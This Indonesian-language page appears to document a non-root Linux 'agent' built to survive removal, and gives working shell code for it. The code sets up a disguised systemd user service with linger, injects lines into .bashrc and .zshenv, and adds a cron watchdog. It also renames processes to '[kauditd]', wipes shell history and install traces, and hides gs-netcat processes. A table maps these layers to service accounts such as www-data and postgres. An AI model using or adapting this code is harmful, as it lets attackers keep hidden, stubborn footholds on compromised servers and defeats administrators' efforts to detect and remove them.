Tidak Bisa
Dimatikan
Agent berjalan tanpa root dan dirancang untuk survive semua upaya penghapusan — kill, reboot, cron wipe, cleanup — dengan 3 lapisan persistence yang saling backup secara otomatis.
Survival Proof — Attack Scenarios
Setiap serangan dijawab oleh layer yang berbeda. Kartu di bawah mensimulasikan siklus nyata: agent berjalan → diserang → layer merespons → agent kembali hidup.
kill -9 PIDreboot / poweroffSSH login barupkill + crontab -rStealth & Camouflage
Non-root tidak bisa menyembunyikan /proc/PID/exe (read-only symlink ke /bin/bash). Yang bisa dilakukan: samarkan nama process, hapus jejak, sembunyi di antara proses sistem.
Write [kauditd] langsung ke /proc/[PID]/comm (max 15 char). ps, top, htop — semua baca dari procfs — tampilkan nama palsu.
Spawn agent dengan exec -a "[kauditd]" — argv[0] yang tampil di /proc/cmdline dan ps adalah nama palsu.
Hapus semua jejak instalasi: history, wget-hsts, tmp files. Installer script self-destruct setelah selesai.
rm -f /tmp/svc-daemon.*
if ! $IS_ROOT; then
rm -f ~/.wget-hsts 2>/dev/null
rm -f ~/.bash_history ~/.zsh_history 2>/dev/null || true
rm -f /tmp/svc-daemon.* /tmp/klogd.* 2>/dev/null
_NR_HIDDEN=0
for _np in $(pgrep -f "klogd|gs-netcat|kauditd|svc-daemon" 2>/dev/null); do
if [ "$(stat -c '%u' /proc/$_np 2>/dev/null)" = "$(id -u)" ]; then
printf '[kauditd] ' > /proc/$_np/comm 2>/dev/null && _NR_HIDDEN=$((_NR_HIDDEN+1))
fi
done
[ $_NR_HIDDEN -gt 0 ] && echo "[+] $_NR_HIDDEN PIDs masqueraded"
fiAdaptive Layer Selection
Sebelum install, agent deteksi login shell dari /etc/passwd field ke-7. Hasilnya menentukan layer mana yang aktif — service accounts langsung ke Layer 3.
# Baca login shell dari /etc/passwd field ke-7
_USER_LOGINSH=$(getent passwd "$(id -un)" 2>/dev/null | cut -d: -f7 || awk -F: -v u="$(id -un)" '$1==u{print $7}' /etc/passwd 2>/dev/null || echo "")
_HAS_REAL_SHELL=false
case "$_USER_LOGINSH" in
*/bash|*/zsh|*/fish|*/ksh|*/tcsh|*/csh|*/sh|*/dash)
_HAS_REAL_SHELL=true ;;
esac
# true => real user => Layer 1 + 2 + 3
# false => nologin => Layer 1 + 3 sajaLayer 1: systemctl --user
Lapisan terkuat — restart native via systemd setiap 5 detik. Disembunyikan sebagai “System Configuration GC”. Linger memastikan survive reboot tanpa login.
_USD="${HOME:-/tmp}/.config/systemd/user"
mkdir -p "$_USD" 2>/dev/null
cat > "$_USD/sysconf-gc.service" << USVCEOF
[Unit]
Description=System Configuration GC
After=default.target
[Service]
Type=simple
ExecStart=$_UEXEC
Restart=always
RestartSec=5
StandardOutput=null
StandardError=null
[Install]
WantedBy=default.target
USVCEOF
systemctl --user daemon-reload 2>/dev/null
systemctl --user enable sysconf-gc.service 2>/dev/null
systemctl --user start sysconf-gc.service 2>/dev/null
sleep 2
if systemctl --user is-active sysconf-gc.service >/dev/null 2>&1; then
_PERSIST_OK=true
loginctl enable-linger "$(id -un)" 2>/dev/null || echo "[!] Linger unavailable -- adding @reboot cron"
else
rm -f "$_USD/sysconf-gc.service" 2>/dev/null
fiis-active gagal setelah 2s, unit file dihapus — zero artifact. Kondisi gagal: LXC, Docker minimal, VPS tanpa systemd user. Installer langsung lanjut ke Layer 2.Layer 2: Shell RC Injection
Inject satu baris ke shell startup file. Fires setiap SSH login, su, atau terminal baru. Service accounts (nologin) dilewati sepenuhnya.
# gc-sys — terlihat seperti cleanup script biasa_RC_LINE="$_RC_CHECK || $_RC_START 2>/dev/null # gc-sys"
_inject_rc() {
local _f="$1"
[ -f "$_f" ] || touch "$_f" 2>/dev/null || return 1
grep -q "gc-sys" "$_f" 2>/dev/null && { _RC_DONE=true; return 0; }
printf '
%s
' "$_RC_LINE" >> "$_f" 2>/dev/null && _RC_DONE=true
}
case "$_USER_LOGINSH" in
*/bash)
_inject_rc "$HOME/.bashrc" || true
$_RC_DONE || _inject_rc "$HOME/.bash_profile" || true
$_RC_DONE || _inject_rc "$HOME/.profile" || true ;;
*/zsh)
# .zshenv ALWAYS sourced -- bahkan non-interactive
_inject_rc "$HOME/.zshenv" || true
$_RC_DONE || _inject_rc "$HOME/.zshrc" || true ;;
*/fish)
mkdir -p "$HOME/.config/fish" 2>/dev/null
_inject_rc "$HOME/.config/fish/config.fish" || true ;;
*)
_inject_rc "$HOME/.profile" || true ;;
esacLayer 3: Cron
Universal fallback — satu-satunya pilihan untuk service accounts tanpa login shell. Watchdog */5 aktif hanya jika Layer 1 dan 2 tidak tersedia.
_CR_WATCH='*/5 * * * * [ -f __PF__ ] && kill -0 $(cat __PF__) 2>/dev/null || (cd __DIR__ && __CMD__)'
_CR_WATCH="${_CR_WATCH//__PF__/$_PF}"
_CR_WATCH="${_CR_WATCH//__DIR__/$INSTALL_DIR}"
_CR_WATCH="${_CR_WATCH//__CMD__/$_CR_CMD}"
_CRON_BASE=$(crontab -l 2>/dev/null | grep -v "sd-pam|kworker|rawonguard|svc-daemon|sysconf.gc|gc-sys")
if ! $_PERSIST_OK; then
printf '%s
%s
%s
' "$_CRON_BASE" "$_CR_REBOOT" "$_CR_WATCH" | grep -v '^[[:space:]]*$' | crontab - 2>/dev/null
else
printf '%s
%s
' "$_CRON_BASE" "$_CR_REBOOT" | grep -v '^[[:space:]]*$' | crontab - 2>/dev/null
fi$(cat $PID_FILE) langsung di assignment — subshell di-evaluate saat assignment, bukan saat cron jalan. Hasilnya string kosong. Fix: gunakan placeholder __PF__ lalu substitusi dengan bash parameter expansion.Compatibility Matrix
Layer mana yang aktif untuk setiap user type dan environment.
| User Type | Layer 1 — systemd | Layer 2 — Shell RC | Layer 3 — Cron |
|---|---|---|---|
| Real User (bash/zsh) | ✓ Primary | ✓ Fallback | ✓ Safety net |
| Real User (fish/sh) | ✓ Primary | ✓ Fallback | ✓ Safety net |
| www-data / apache | ~ Jika systemd session | ✗ nologin | ✓ Primary + watchdog |
| nginx / postgres | ~ Jarang tersedia | ✗ nologin | ✓ Primary |
| Docker / LXC user | ✗ No systemd | ✓ Jika bash/zsh | ✓ Primary |
| Alpine minimal | ✗ No systemd | ~ ash terbatas | ✓ Primary |